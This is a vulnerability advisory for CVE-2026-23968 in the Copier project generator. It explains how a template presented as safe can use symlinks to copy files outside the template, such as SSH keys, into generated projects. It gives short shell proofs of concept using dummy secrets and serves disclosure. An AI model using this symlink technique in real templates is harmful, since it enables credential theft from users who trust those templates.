CVE-2026-23968

Description

### Impact Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently include arbitrary files/directories outside the local template clone location by using symlinks along with [`_preserve_symlinks: false`](https://copier.readthedocs.io/en/stable/configuring/#preserve_symlinks) (which is Copier's default setting). Imagine, e.g., a malicious template author who creates a template that reads SSH keys or other secrets from well-known locations and hopes for a user to push the generated project to a public location like [github.com](https://github.com/) where the template author can extract the secrets. Reproducible example: - Illegally include a file in the generated project via symlink resolution: ```shell echo "s3cr3t" > secret.txt mkdir src/ pushd src/ ln -s ../secret.txt stolen-secret.txt popd uvx copier copy src/ dst/ cat dst/stolen-secret.txt #s3cr3t ``` - Illegally include a directory in the generated project via symlink resolution: ```shell mkdir secrets/ pushd secrets/ echo "s3cr3t" > secret.txt popd mkdir src/ pushd src/ ln -s ../secrets stolen-secrets popd uvx copier copy src/ dst/ tree dst/ # dst/ # └── stolen-secrets # └── secret.txt # # 1 directory, 1 file cat dst/stolen-secrets/secret.txt # s3cr3t ``` ### Patches n/a ### Workarounds n/a ### References n/a

Affected packages (1)

• PyPI/copierfrom 0, < 9.11.2

CVSS scores

References (4)

• ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2026-23968
• PATCHhttps://github.com/copier-org/copier
• WEBhttps://github.com/copier-org/copier/commit/b3a7b3772d17cf0e7a4481978188c9f536c8d8f6
• WEBhttps://github.com/copier-org/copier/security/advisories/GHSA-xjhm-gp88-8pfx